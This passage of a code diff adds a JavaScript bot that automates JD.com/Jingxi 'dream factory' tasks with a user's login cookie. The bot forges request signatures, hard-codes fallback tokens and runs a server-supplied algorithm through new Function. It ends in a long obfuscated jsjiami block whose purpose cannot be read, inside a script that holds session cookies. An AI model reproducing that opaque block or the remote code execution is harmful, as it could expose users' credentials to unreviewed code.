cookie,"Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2","User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1"}}; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) {data = JSON.parse(data);if (data['retcode'] === 13) { $.isLogin = false;}if (data['retcode'] === 0) {$.nickName = (data['base'] && data['base'].nickname) || $.UserName;} else {$.nickName = $.UserName;}} else {console.log(`京东服务器返回空数据`)} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) {var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;while (i-- > min) {index = Math.floor((i + 1) * Math.random());temp = shuffled[index];shuffled[index] = shuffled[i];shuffled[i] = temp;}return shuffled.slice(min);} +function getCurrDate() {let date = new Date();let sep = "-";let year = date.getFullYear();let month = date.getMonth() + 1;let day = date.getDate();if (month <= 9) {month = "0" + month;}if (day <= 9) {day = "0" + day;}return year + sep + month + sep + day;} +function safeGet(data) {try {if (typeof JSON.parse(data) == "object") {return true;}} catch (e) {console.log(e);console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);return false;}} +function taskTuanUrl(functionId, body = '', stk) {let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {"Accept": "*/*","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": cookie,"Host": "m.jingxi.com","Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html","User-Agent": "jdpingou"}}} +function taskurl(functionId, body = '', stk) {let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk, '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {'Cookie': cookie,'Host': 'm.jingxi.com','Accept': '*/*','Connection': 'keep-alive','User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou','Accept-Language': 'zh-cn','Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html','Accept-Encoding': 'gzip, deflate, br',}}} +Date.prototype.Format = function (fmt) {var e,n = this, d = fmt, l = {"M+": n.getMonth() + 1,"d+": n.getDate(),"D+": n.getDate(),"h+": n.getHours(),"H+": n.getHours(),"m+": n.getMinutes(),"s+": n.getSeconds(),"w+": n.getDay(),"q+": Math.floor((n.getMonth() + 3) / 3),"S+": n.getMilliseconds()};/(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length)));for (var k in l) {if (new RegExp("(".concat(k, ")")).test(d)) {var t, a = "S+" === k ? "000" : "00";d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length));}}return d;}; +function jsonParse(str) {if (typeof str == "string") {try {return JSON.parse(str);} catch (e) {console.log(e);$.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie');return [];}}} +async function requestAlgo() {$.fingerprint = await generateFp();const options = {"url": `https://cactus.jd.com/request_algo?g_ty=ajax`,"headers": {'Authority': 'cactus.jd.com','Pragma': 'no-cache','Cache-Control': 'no-cache','Accept': 'application/json','User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1','Content-Type': 'application/json','Origin': 'https://st.jingxi.com','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://st.jingxi.com/','Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7'},'body': JSON.stringify({"version": "1.0","fp": $.fingerprint,"appId": $.appId.toString(),"timestamp": Date.now(),"platform": "web","expandParams": ""})};new Promise(async resolve => {$.post(options, (err, resp, data) => {try {if (err) {console.log(`${JSON.stringify(err)}`);console.log(`request_algo 签名参数API请求失败,请检查网路重试`)} else {if (data) {data = JSON.parse(data);if (data['status'] === 200) {$.token = data.data.result.tk;let enCryptMethodJDString = data.data.result.algo;if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)();} else {console.log('request_algo 签名参数API请求失败:');}} else {console.log(`京东服务器返回空数据`);}}} catch (e) {$.logErr(e, resp);} finally {resolve();}})});} +function decrypt(time, stk, type, url) {stk = stk || (url ? getUrlData(url, '_stk') : '');if (stk) {const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS");let hash1 = '';if ($.fingerprint && $.token && $.enCryptMethodJD) {hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex);} else {const random = '5gkjB6SpmC9s';$.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`;$.fingerprint = 5287160221454703;const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`;hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex);}let st = '';stk.split(',').map((item, index) => {st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`;});const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex);return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";"));} else {return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d';}} +function getUrlData(url, name) {if (typeof URL !== "undefined") {let urls = new URL(url);let data = urls.searchParams.get(name);return data ? data : '';} else {const query = url.match(/\?.*/)[0].substring(1);const vars = query.split('&');for (let i = 0; i < vars.length; i++) {const pair = vars[i].split('=');if (pair[0] === name) {return vars[i].substr(vars[i].indexOf('=') + 1);}}return '';}} +function generateFp() {let e = "0123456789";let a = 13;let i = '';for (; a--; ) i += e[Math.random() * e.length | 0];return (i + Date.now()).slice(0,16)} +var _0xodT='jsjiami.com.v6',_0x1c2f=[_0xodT,'wpnCon4=','Z8OwE8KCwqPDgMKuwq89SyjCt2Y=','w5kfbw/Dlw==','w5DCqcKUIcOuwrzCgT7CvyPDuMKZw7o=','JcKtwqXCk0HCpw==','w6jDg8KDw6F4','w4bCq8K/w5nDhQ==','LQLCtMOPwqpoG8KGO8O9UsOGKQ==','wr7Cs8K1','w5DCqcKUIcOuwrzCgT7CvzvDuMKYw7o=','w5oNwofDlXc=','OAXCmQ==','w5/CmC06wo9TRMOUeEHCn8K7UQ==','NsOhw7oVAi4=','wrzCuMK3','D8KGwpvCn1Y=','w4PCvQE9wrw=','wrM5A29W','XMOXA8OUwr4=','wpLCo3huw68=','w6rDisKiw5J3','GsOyw5HDviE=','w4TDjC4xKQ==','w5s4wqxyLg==','wrBcCsKPZw==','wq1XVl7Dsw==','w4wrwrVtMQ==','Ny7DkCM1','wrXClkrCqH4=','fcOPOcKiwrc=','fcKCdcOmfA==','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','CTnCp35D','AsOTw50sKg==','A3zDiB0=','wrh2S1rDsw==','woDCvMOow4JAZsOhwqnCpMOnw4IuwoJjXsKkw4p7wrnDh8KzdcK1WnPCkUXDug7CtsKhw5zCuy0CQcKsDcKtY8KNw73CmifDgykrw4XCokt1wqHCqMOgFQEUw7l8JAx0w7hARsOmdsKOT8OKLsKFwpp6BsOFw7/Cg8KEJWLCgcK9wr5cw5jDpg==','wqHDtBYhJMOmLMKsS8KMBsKlasKKw5FBC8Odw7pjw6PDiHDCqEvDpjfDo8ONfcK3MkrCvH/CqMKkZcKHw5PDuCcMKyjDqU/Cq3vDiWF1NA==','w4g8wozDgWcXwo/CoMKUS2rCrkTCm3g2w5o4w4opw5jDh1gnw74uUCEawq4VE8OHw5LDjh4Iwo5Wwrk7VMKhA1rDhlzDvFRmw7dqTMOrSA9GwrbDi3rCmQxsDcOoBMOHwpUWOjzCn3PDicOJw7zCl3AUBik=','wpg1B0dw','wohiBMKKYg==','w47ClcKaw67DmQ==','NBfCmcOswpA=','w67CrnBmwpc=','wqJMJMKSTQ==','OsOrw5oUBDLDu8OTHXs=','w6bCpiECwrxuecOEQ2I=','wpUuAUd+','w73Dpg4JFA==','w7ckwrLDiW0=','UsKkJ17Cqw==','w6rCrxtEwrAydsOpCXLCv8KE','wpEoH1RJwrMVw7rChyrDt8OVLm7Dm8OxwqjCnsKVw4sHYhbCmcK2w6k3wq9Cw7PDvcOqwqYjHw==','fcK9Y8OEbcK+PUzDn8OLdXTCgsKsAsKbw5LCncKBwpjCmjdrC1nCjMO+aXfCmADDvsKF','w6PDq8Kew79cw5DDhkAvw78BwpgAwrDDmADDlFfCjHIbPkcGCcO2w7cWXRYjJynCpcKMwqPCohJGw6bDgV7DisOsw7c9w4gkSsKaWcObw5HChMOAfMOcw6Z8YnvDvwjCnMO5XirClwtpAMOlwprDkRwQw7TCncOaFMOCFsKIKRYOLELDmE3Do1Z+w4vCh8OsQMO+STbDtMKIwoJFwq3CrDonJMOVwoVdw68gw5zDoTTCjMKpCcKrRcKdPMKmw64ew6DCozvDmzXCocKgP8KJYWcROMKDKXfCsMOIcsOWUMKLL8KMHMKxwrMRw45Uw6HCjcOFa0UVMCMeawLDosKbw47DjMKfwrt1ewfDl0bCrnlhw6HDokfClhBGBsKMP8OBfMOIwqQND3TCkMKBwqPCiMOSawzDmg0NwrhgY8KvwoFnwpfDhsOUdyVDcsOIwpl0w53Dl3DCgnReNsOgwooAMsKyfMKEw7Ndw5XChsKMIcKcwplAa8KuJ1vCtD3CsMKFw47Cl2tlw44zw6fClcOROHgFw7rDn8KPwrjDtEZRw78fwo1Pw7rDiV5GwplSw7E7w7HDm8OPw5XCpMKdwr7Dkx7DucKmw5PDnCg0w74uw73Dq8OywofChn1KwqYwCcOeYsOyw67DpSVhX8KmSsK0w4rCmcKkwq0CNsK3EArDg8K9wo5TwpB2w5jDgCPDllsXXsKMRMKUe2wew6zDtTQTwr3Dk8OZaRLDrR0hNMK5w5nCo18XwocCw4vCjioeSyE8YTA6HQFlw7YtVyvCi8O2wpfCnCU2NsO0QXjDpUt2w7rCoFXDqWJrw7nCjsO5Y8KDCcKIw57Ct8KbQMO7HU5SehsMwrnDnMKkFkNxw5bDm2XDgMKJwpMrwqoyw4lRwpJswq3CiRMTO8OGwqbCqcO8cH9TDkHCsRLCuy54LHTCtmZgw786CsKjCWs4X8KiwrbDq0vDrS/Ds14IMcOFd2vDhsO7w4DCicOmKhLCjzfCvzUvw7N5SsOMwqc1Y3TDtXxgwr4lw4xOSFrCsAzCscOEUMOgfS4ARcKbwpXCoMOLOsKSw6DDki5eBSplw7LCqjdFesOSw7PDm8K/wrkXw5zDjMOWZMKnazg3w6Qew6xPG8Orw5rDscKmw4HDlMO/w6nDlcKKwoFWRMOOw7EXL8Ktwq4TH8KQK0ZHFMOobnAnAsK0BD16czt9w4FAP8OKUjBsLUDDqlPCpk/DvcOqw69ndVdnIMO0w7FpXMKcw7LCvsKQV8Ofw556CMKrHMKMWQVLwr3DosK6wohDRsOLKcKKWxrDusKBFF9DRMKBwpcSw4xXLcOVw69zCT0KwoJcDx3CqcOPdl/ClhEVaRIeGD3CuyoRw4gEByFNw5bChiVEWcOewoJ7aSXCkHQiwqLCusKdwpLDq8K8WhBOOsK7wrvCusOx','wofCg3jCjEdzGnsGCcOmw6zCu1/DkmxWEHrCvMKRwr7ChWfCi8KXXnd3w4sqMB3ChwbDoA==','wrPDqE8ycA==','wo5TdsOV','A8Ocw5ErAA==','U13CiMO4wok=','AjjDtcKwaw==','dDZ1Zx0=','wpXCmHldw54=','PnHDiQFG','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','wq7Cp8KCwqBx','w7gGwoHDjXU=','wp/DhQnCrsOy','VMKASsOnZg==','w4fCikVKwr8=','wp7ClUfCnkw=','wpBEw6fDrg==','w7nDncOdw4Iq','wq/DrCoVbg==','w6HCpU9iwrM=','GsO1w4zDggk=','dMO4LcOewrA=','woNFw5jDiMOB','w4nCkMKZw6LDoQ==','O118IcKS','w53DucOGw4Qm','wptfw5cew4nDlg==','LF7CrgXDuzY1fkELw7PCm8OSw4fDt8O9wo8fMCNxZ3wWw7TDvMOZQS/CiMOTVkHDjMOMw4s2wo/Cj8Obw5cuw5xwE2HDmX1Rw5YFNBoiw5fDhcKVwrLCmsOLNy/Cp8OhZBJrWcKnHHnDojtMw7HCuHxzwpvDk8KVUw==','w7UhRMOsw5HCmsO4w6ZkwpN7w78=','w6XCnsKiX8ORw53CswPDjhDDmMKm','NsOiw7kQDCPDv8OuEGclwr8ywo1aWMKsL8OOHyfDu8KYHcKIeyPDhWBRwqnDucON','b0cTKwfCsH9jX3XDiFTDrsOBA0rCh8KQwqQ=','w4jChsKfw73Cvw/CqwvDjlvDtS3CucOfQB1a','dFLCqsOAw77DlDwbS3E=','wqgQw6YowrZAwq8QHzXDicKgejJmwqsew5nDsMKOcMKuwqdYw7gpwrPDscOGw5jDuH4m','wpM4ClRKwrJTwoXCgDXDvMOeZzLCkcK1w6fDjcOFwp9HYU/DhsOhw64mwr4bw7bDq8Kvw6o7G8KdwpLDlsKoXcKzFcOiw5HCuTAgKsKMYxvCjDfDlcKcwodVBx0wFjQdEMO0WcOLcnzCnCg7HBMTwr1IwoZAwrTCtQ8RwphxUmMCwopjSsOLw6FefsKawostBMKvUcOhU8KzKMKceVbCvFjDn8OCNWTDq3cgw7kWZADDnMOKwqbCrsKcQ2/DoUbDvHzDtxIYwp0JFsK3w6zDrsOJw4spwqZPSWlsP8KSwqrDmsKNUsKtw67CosO4w7hoVHrDucKZw7jCuCjCuAHDlHNUQzHDlCrDjhxpw4FJM8OEwqUQeMKpw4UPwrTCglByw7DDiMOew5bDjcOzwrR0McKoFsKzEMOPLMOWw7nDmCs2w6/CmCMMY8KVw6rDgDZkMAbCu8KAw40TO8O+wpEpVcKGw6zDgcKbwq9WwrnDnsKGw5hyw49Ww7l1CcKAORbCsEIbFsKcwqfDoQDDqiZtLsOvOhrCnMKrw6LCusKSUMOew4bDkHIzwq3DhQvDpsOhwqjDosKZGTo=','w68Iw7R6Dg==','w6rCh8OSWio0wq01wrzCrw==','TcO7KsOKwoHDrQ==','w7zCq3Vmwrg=','MQ7CgW1SBA==','w4MMwr7DvUA=','MxrDvMKabw==','wonCm2PCk0Y=','M09hOcKq','wqtVY0DDkg==','wq1qUW7CkMK/','B3HDiApV','w5LDoigXNA==','cy90YT8=','wqhObnjDjMKdGAkvEcKXwpI=','wr9Jw5wMw6o=','wp/DtwcnUg==','V8O9B8ObwrrDrsOCwrTCsgjDu1M=','wpzDrCnCjsO3','PsO8w4sdFyfDv8OzF2Elw7c=','wp1iSV7Clg==','w6LCsTALwq97fcOkSXjCvsKO','c8KsIXbCs2k=','wobCmU7CnUYuVD0HEMOtw6U=','URZGVhcPXMK8GXbDvEs=','dMK5Z8OYd8OncxfDl8OUcnXChcOxB8KRw5DDnsKawpDDjSAoElDCg8OjKTrDm17CuMOAUw==','DEvDhCF9','OcO1w7kVNA==','wr9IQ3rDqg==','w47CkMO/cRc=','J8KYwp7CkXI=','GBHDosKrRQ==','wqnCgMOfw59y','IwvDp8K4UMOxJsKywqsOwrUqKlJcKizDoAfDk8K+wrPDvMOwdhYoAz3DrsOdwq/DrRzCu8KSwr0Wam1UwoHCuHQxL8KmAMKeKUB1w6AjwpjCt1LDqVzCrEEscsKcLm5gC8K1XhnCnsOJ','Oy7Cllpg','WMOmK8OZwrzDoMOMwrPClQXCqFcOwrl2Y8KMLmFcGMK1KsOcwo1KK8O8wqXCkhXCtShpwpvDtsO+FcKnwrJ9w53ConbCs2k=','wrHCnMKlwrpg','H8KVOcKhwpTDvcK4wpcPZkXDnhAXayxad8KpfmUNIGQvwrRQWsOtPWl3w7vDuMKfw6fDj8K8GsOH','wp3DhQ0bdw==','wpx8Uh/Dpg9/VcO1D8K4acOvJVkMCsK4CMOJdjxYJ0HCisKPXmzCqsOqw5DCqsK6R8KOw4DCsQ/CgTd+wqNGw58=','SBd3Qw==','w7c4bcOgw7M=','w7Q7csO9w5DDh8K2wqBtwpNhw73DhVfDkTrDnArCmijDvsKSCcO7Zh3DmsKzIR9XM8KCNGoGw75LKMOtwoLCksOAw4zDlhwJZC8lwqAEwqp0wqLDgX7CosOqKA==','aMK4fcOGYcKx','acOTwqfDvA4=','wrHCssK5woFY','w6DDvcKqw71e','RcOIwr/DsTg=','w5XDnTVsIcKQHsK/U8OQwpfCng==','w4g8wozDgWcXwo/CoMKYX2HDrlzCjXgjw5cyw5c+woLChFc3wr0gTGtTwq0FSMOUw5nDgg==','wrrCrcKzwrtzQcKdW8KRfVHDiMO0w4loSsOtwofCpcKfSMK3JcOSw4JiKXTCghQQw4h5','AMO3w4/DuSXDrCciwqvClmHCgmXDs8KnwrNZwqrCvcOpCUvDg8OjdBt5Cyd2IhtPwoN9AUvCt07DrWULbx7DjHFmQHTCjsOkX15lw6rCjcObwrRNU8KOw4LDvBvCnsK/chw1wp3CmMOAKCMZw49Lwropw4glFALDjsO6w7VRO1NKwoZuIcKVKhI9wrEZNMKOK8K4woIKw641DBnCvcK7WcK3w4nCn8OEwoUzOAsTa8OiNsOTcnR/NMObw6LDsTUUUcOUw5Zbw7TCqMOeMlrCgFk3WDzDu8OTJTrDoErCtDlDHMKDw4JoOcO6fcKRQMO3w5xKZi0bwpxkwr7Ci8ONG0rCoyjDrMOCw5bCssO9Z3l2wpjDllw5wplYwp4qUcOYSsOFwojCrgE2wqBVMjUeEXnDgcOCJsKlLAdlUcKmOsKkN8O8TMK4wqfDp8KXBVgGw7pOw4bCscK0w4wlOsKsw7bDgcKbw7TCscKpw6PCmFjCmgRAw48vwo/DtWrDjcKpdQAowoTCiDBGwqseScKpw4PDtVkxTsKBAU00wq7CgsKxwrTDmF1nTR7Dg2fDncKAGsOM